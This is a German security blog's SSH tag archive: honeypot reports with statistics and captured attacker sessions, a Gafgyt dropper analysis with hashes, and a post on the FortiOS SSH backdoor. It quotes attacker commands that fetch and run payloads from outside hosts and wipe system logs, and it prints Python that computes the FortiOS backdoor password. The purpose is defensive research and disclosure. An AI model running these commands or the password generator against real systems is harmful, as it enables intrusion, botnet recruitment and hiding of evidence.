Tag Archives: SSH

Honeypot Project – Auswertung #3

Nun, nach knapp einem halben Jahr möchte ich nochmals Bilanz ziehen über meinen SSH Honeypot. Ich muss selbst sagen, ich bin doch ein bisschen überrascht von der Menge an Verbindungen und Versuchen die da in vergleichsweise kurzer Zeit zusammengekommen sind.

Insgesamt hatte ich 98’335 Verbindungen auf dem Honeypot von insgesamt 5’274 verschiedenen IPs (uniq). Diese haben insgesamt 154’065 Loginversuche durchgeführt, wodurch 15’309 erfolgreich und 138’756 erfolglos waren. Im erweiterten Kontext, da ich auf dem System die gängigsten Passwörter wie „password“, „qwertz“, etc. gesperrt habe, bedeutet das, dass nur die wenigsten komplexere Passwörter verwendet haben.

Wenn man dies nun in Relation zur Zeit setzt, so sind das ungefähr eine Verbindung alle 2 Minuten und alle 16 Stunden eine neue IP. Unglaublich, wenn man sich das mal so vorstellt 🙂

Alle zusammen haben die „Angreifer“ 6’400 Benutzernamen und 25’491 Passwörter durchprobiert. Dies in unterschiedlicher Kombination mit insgesamt 48’612 Versuchen. Alles uniq natürlich.

Die erfolgreichen Loginversuchen endeten dann in 18’252 Kommandos, worunter aber nur 695 unterschiedliche Kommandos waren. Und wenn man von den Kommandos jeweils nur das Executable ohne Parameter nimmt so sind es nur noch 182 verschiedene Tools:

6155: rm
1839: uname
1552: free
1528: ps
1196: wget
 591: ls

Hier sieht man das die meisten (6’155 Stück) wohl versucht haben meinen Server zu zerstören oder Spuren zu löschen, während zwischen 1’528 bis 1’839 wissen wollten, wo sie überhaupt sind und 1’196 etwas nachladen wollten. Für mich heisst die Differenz zwischen „wissen, wo ich bin“ und „nachladen“ nun, entweder die haben gemerkt, dass es ein Honeypot ist, oder die hatten andere Absichten als sich permanent einzunisten.

Meine liebsten Freunde auf dem System kamen zu einem Grossteil aus China, aber auch Frankreich und natürlich die USA scheinen gut dabei zu sein:

1945: 212.83.182.91 (Frankreich)
1964: 116.31.116.52 (China)
2971: 54.149.58.211 (USA)
4227: 183.3.205.94 (China)
5728: 116.31.116.50 (China)

Dabei waren die Top-Verbinder auch gleichzeitig die Dümmsten, weil trotz 2’000 bis fast 6’000 Verbindungen haben sie es nicht geschafft, auch nur ein erfolgreiches Login zu treffen. Jungs, ihr solltet unbedingt an eurer Brute-Force-Liste arbeiten!

Die gesammelten Passwörter aus dem Honeypot habe ich nun alle in ein Git-Repo gepackt, so dass dies weiterverwendet werden kann.

Honeypot Project – Auswertung #2

Nun, nach knapp 2 Monaten an Laufzeit für meinen SSH-Honeypot, möchte ich nochmals kurz Bilanz ziehen und schauen, was so gegangen ist in letzter Zeit.

Aktuell hat mein Honeypot fast 40k Verbindungen erfasst von über Eintausend IPs:

Anzahl Verbindungen: 40’127
Anzahl Uniq-IP: 1’053

Da ich viele der bekanntesten Passwörter wie „root“, „toor“, „password“, etc. filtere waren auch nicht alle Logins erfolgreich:

Anzahl Passwörter: 66’893
Anzahl erfolgreiche Logins: 3’670

Doch all jene, welche durchgekommen sind, haben sich auch gleich umgesehen:

Anzahl CMD: 2’688

Die Grosszahl der Befehle, welche abgesetzt werden, dienen dem Nachladen von weiteren Scripten:

cd /var/ || cd /tmp/ || cd /var/run || cd /var/tmp/ || cd /dev/ || cd /mnt/
busybox wget http://64.95.100.88/.fagbin.sh || wget http://64.95.100.88/.fagbin.sh
busybox bash .fagbin.sh || sh .fagbin.sh
rm -rf .fagbin.sh
busybox tftp -r .fagbin2.sh -g 64.95.100.88 || tftp -r .fagbin2.sh -g 64.95.100.88
busybox bash .fagbin2.sh || sh .fagbin2.sh
busybox tftp 64.95.100.88 -c get .fagbin3.sh || tftp 64.95.100.88 -c get .fagbin3.sh
busybox bash .fagbin3.sh || sh .fagbin3.sh
rm -rf .fagbin2.sh .fagbin3.sh .fagbin.sh

Aber auch Testskripte für Speedtests sehe ich immer öfters. Hier soll der Server wohl als DDoS-Bot dienen. Nur sehr selten sieht man etwas komplexere Versuche:

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH
history -n
export HISTFILE=/dev/null
export HISTSIZE=0
export HISTFILESIZE=0
rm -rf /var/log/wtmp
rm -rf /var/log/lastlog
rm -rf /var/log/secure
rm -rf /var/log/xferlog
rm -rf /var/log/messages
rm -rf /var/log/syslog
rm -rf /var/run/utmp
touch /var/run/utmp
touch /var/log/messages
touch /var/log/wtmp
touch /var/log/messages
touch /var/log/xferlog
touch /var/log/secure
touch /var/log/lastlog
rm -rf /var/log/maillog
touch /var/log/maillog
rm -rf /root/.bash_history
touch /root/.bash_history
history -r
rm -rf /var/spool/mail/root

cd /tmp
wget http://212.154.211.81/j.txt
curl -O http://212.154.211.81/j.txt
fetch http://212.154.211.81/j.txt
lwp-download http://212.154.211.81/j.txt
perl j.txt 113.30.102.54
rm -rf *.txt
uname
free -m
cat /proc/cpuinfo
cat /etc/issue

Wer das Projekt auch verfolgen möchte, der kann das hier machen.

Freundliches Hallo aus Russland

Heute gab es eine spannende Begegnung mit einem Angreifer aus Russland:

Verbindung: 185.103.109.70
Version: SSH-2.0-libssh2_1.4.2
Login: root / admin

Kaum war die Verbindung aufgebaut, ging es auch schon los:

cd /tmp;
wget hXXp://185.22.173.65/bins.sh
chmod +x bins.sh
chmod 777 *
sh bins.sh"

Die Datei „bins.sh“ dient als einfacher Dropper:

MD5: 18dd76f99d222bf2cb193a5cdb872e3d
SHA1: 4fdb0beaaa8db435d771ba9deb7c01afc3b5a2c3
SHA256: 07fe22f4b754d28efd62157f7ee6aa4c1f63dd21dac33c2b600e42cbabff6daf
Magic literal: ASCII text

Sobald die Datei gestartet wird, werden weitere Ressourcen vom selben Server heruntergeladen:

wget hXXp://185.22.173.65/snarmv6; chmod +x snarmv6; chmod 777 *; ./snarmv6
wget hXXp://185.22.173.65/snmips; chmod +x snmips; chmod 777 *; ./snmips
wget hXXp://185.22.173.65/snmipsel; chmod +x snmipsel; chmod 777 *; ./snmipsel
wget hXXp://185.22.173.65/snpowerpc; chmod +x snpowerpc; chmod 777 *; ./snpowerpc
wget hXXp://185.22.173.65/snsh4; chmod +x snsh4; chmod 777 *; ./snsh4
wget hXXp://185.22.173.65/snmyx86; chmod +x snmyx86; chmod 777 *; ./snmyx86
wget hXXp://185.22.173.65/vmp; chmod +x vmp; chmod 777 *; ./vmp

Hinter den einzelnen Dateien steht der Trojaner Gafgyt in verschiedene Versionen, welcher dem Angreifer auch als Backdoor dient:

snarmv6: 657d00724e41e5c40331f5eb925e56acf7c9dd3188b2c0a268623ed6e580a556
snmips: c8aa69c0d6e3399411cfae7c65b70bf8b1b0c099c80613a302e53b2d04d2be16
snmipsel: 0388e01fec61499e6d5cc7b3b2d88353886ae619d83c0d8ae633b1eb8684bf9a
snpowerpc: 5e0f5df89d6589f4f67ab5b051da388f48dcaa66d21a14562f23157c0f9b54f1
snsh4: 9922bada2c9dee8529da8482b66f35b7df415c5cc291e675c688fdfa0db131cc
snmyx86: 40f47ddda5ca8ceacd1ca9f4dd4e65fb5f6749d33c083ed6bf83aa7b861821f1
vmp: 17d5252c3c9d1d37340bf91a2e0eedcf24890858100b270f5386616669edf11e

Circa eine Stunde später, war der liebe Kollege aber schon wieder auf meinem System jedoch mit neuen Befehlen:

cd /tmp
wget hXXp://107.172.41.130/bins.sh || curl -O hXXp://107.172.41.130/bins.sh
chmod 777 bins.sh
sh bins.sh
busybox tftp 107.172.41.130 -c get tftp1.sh
chmod 777 tftp1.sh
sh tftp1.sh
busybox tftp -r tftp2.sh -g 107.172.41.130
chmod 777 tftp2.sh
sh tftp2.sh
rm -rf bins.sh tftp1.sh tftp2.sh

Diesmal hat sich auch der Dropper etwas verändert, scheint wohl Version 2.0 zu sein.

cd /tmp; wget hXXp://107.172.41.130/GHfjfgvj; chmod 777 GHfjfgvj; ./GHfjfgvj; rm -rf GHfjfgvj
cd /tmp; wget hXXp://107.172.41.130/JIPJIPJj; chmod 777 JIPJIPJj; ./JIPJIPJj; rm -rf JIPJIPJj
cd /tmp; wget hXXp://107.172.41.130/jhUOH; chmod 777 jhUOH; ./jhUOH; rm -rf jhUOH
cd /tmp; wget hXXp://107.172.41.130/RYrydry; chmod 777 RYrydry; ./RYrydry; rm -rf RYrydry
cd /tmp; wget hXXp://107.172.41.130/UYyuyioy; chmod 777 UYyuyioy; ./UYyuyioy; rm -rf UYyuyioy
cd /tmp; wget hXXp://107.172.41.130/XDzdfxzf; chmod 777 XDzdfxzf; ./XDzdfxzf; rm -rf XDzdfxzf
cd /tmp; wget hXXp://107.172.41.130/JIPJuipjh; chmod 777 JIPJuipjh; ./JIPJuipjh; rm -rf JIPJuipjh
cd /tmp; wget hXXp://107.172.41.130/DFhxdhdf; chmod 777 DFhxdhdf; ./DFhxdhdf; rm -rf DFhxdhdf
cd /tmp; wget hXXp://107.172.41.130/FDFDHFC; chmod 777 FDFDHFC; ./FDFDHFC; rm -rf FDFDHFC
cd /tmp; wget hXXp://107.172.41.130/FTUdftui; chmod 777 FTUdftui; ./FTUdftui; rm -rf FTUdftui

Hinter den einzelnen Files steht am Schluss aber immer noch der selbe Trojaner, somit nichts neues an dieser Front. Aber mal schauen, ob wir uns bald wieder sehen, vielleicht mit Version 3.0…

Honeypot Project – Wie exponiert sind öffentliche Server wirklich?

Ein Vorsatz, welchen ich mir eigentlich schon länger vorgenommen hatte und nun doch noch endlich mal umgesetzt hatte, ist ein eigener Honeypot. Ziel ist es, herauszufinden, wie exponiert ein öffentlicher Server wirklich ist und dazu habe ich konkret ein SSH Honeypot aufgesetzt und mit einer mehr oder weniger komplexen Konfiguration ausgestattet. Der Honeypot ist am Ende nur low-interactive, doch zum Erfassen von grundlegenden Scans, Passwortversuchen und den ersten Gehversuchen auf einem möglicherweise erfolgreich kompromittiertem System reicht es allemal aus.

Zum Setup ist zu sagen, dass die Maschine sowie die IP bisher nicht genutzt wurden und erst kurz vor dem Honeypot selbst mit online gekommen sind. Die Maschine ist also ziemlich neu im Internet. Mit diesem Wissen im Hinterkopf hat es mich umso mehr erstaunt, dass es knapp 25 Minuten gedauert hat, bis der erste Loginversuch aus Vietnam eingetroffen ist:

Quelle: 113.175.130.234
Version: SSH-2.0-JSCH-0.1.51
Login-Methode: none, keyboard-interactive

Das es ein automatisierter Versuch ist, zeigte sich in den wenigen User/Passwort-Kombinationen, die der Angreifer versuchte:

1. Versuch: „support“ | „support“
2. Versuch: „support“ | „“
3. Versuch: „support“ | „support“

Nach insgesamt 5 Sekunden war der Angreifer auch bereits schon weiter gezogen, weil keiner der Versuche erfolgreich waren – ein weitere Indikator für ein automatischer Probe.

Viel interessanter wird es nun, sobald der erste nicht-automatisierte Angriff eintrifft. Meine Vermutung wäre, dass diese Ankommen, sobald die IP das erste Mal bei z.B. Shodan.io erfasst und gelistet wird… Seien wir gespannt. 🙂

Wer die Angriffe ein bisschen verfolgen möchte, der kann das hier machen.

FortiOS SSH Backdoor ignoriert interne Sicherheitsfeatures

Hoffentlich haben mittlerweile alle Administratoren und Security Professionals von der SSH Backdoor in FortiOS gehört und auch bereits erste Sofortmassnahmen umgesetzt, denn die konkret am 09. Januar 2016 veröffentlichte Lücke ist Forti bereits seit über einem Jahr bekannt und wird wohl oder übel auch bereits solange in der freien Wildbahn ausgenutzt…

fulldisc

Doch wieso genau ist die Backdoor erst jetzt aufgetaucht? Ein ganzes Jahr ist ja eine ganz schön lange Zeitspanne ohne das ein Admin, IDS, SIEM oder ähnliches ein verdächtiges Verhalten entdeckt…

Der Grund, wieso wohl noch niemand etwas gemerkt hat, liegt in der internen Logging-Funktion! Konkret habe ich versucht, die Verwendung der Backdoor auf meinen Systemen im SIEM abzubilden und habe somit konkret die generierten Logs während dem Login ausgewertet und eine spannende Entdeckung gemacht:

Ein normales Login via SSH bricht in der Regel nach 3-5 Versuchen ab. Zusätzlich wird ein entsprechendes Log über ein failed Login geschrieben und je nach Einstellung der Benutzer sogar für X Minuten geblockt. Und wie sieht es aus, sobald der User „Fortimanager_Access“ verwendet wird? Weder Logs, noch ein Disconnect, noch ein Blockieren finden statt – jegliche Sicherheitsfeatures werden klang heimlich umgangen! Und da stell ich mir schon die Frage nach dem wieso? Selbst wenn sich jemand über den FortiManager Zugriff auf eine Firewall verschafft, selbst wenn dies ein gültiger Zugriff von einem Admin ist, so will ich dies doch geloggt haben. Also wo ist der Sinn, solche Verbindungen zu verstecken?

Wer das Szenario konkret testen will, der kann eine normale SSH Verbindung zu (s)einer Fortigate aufbauen und den Benutzer „Fortimanager_Access“ eintippen.

forti

Anstelle das hier nun ein normales Passwort angefragt wird, bekommt der User eine Zahlenfolge präsentiert, welche nach folgender Funktion zum effektiven Passwort verrechnet werden kann:

import base64
import hashlib

def calculate(key):
    n = key
    m = hashlib.sha1()
    m.update('\x00' * 12)
    m.update(n + 'FGTAbc11*xy+Qqz27')
    m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70')
    h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest())
    return [h]

Wir eine Version nach 5.0.7 verwendet, so wird der Benutzer als gesperrter User angesehen und die Verbindung wird per sofort getrennt. Einen entsprechenden Log-Eintrag gibt es noch immer nicht!

« Older Entries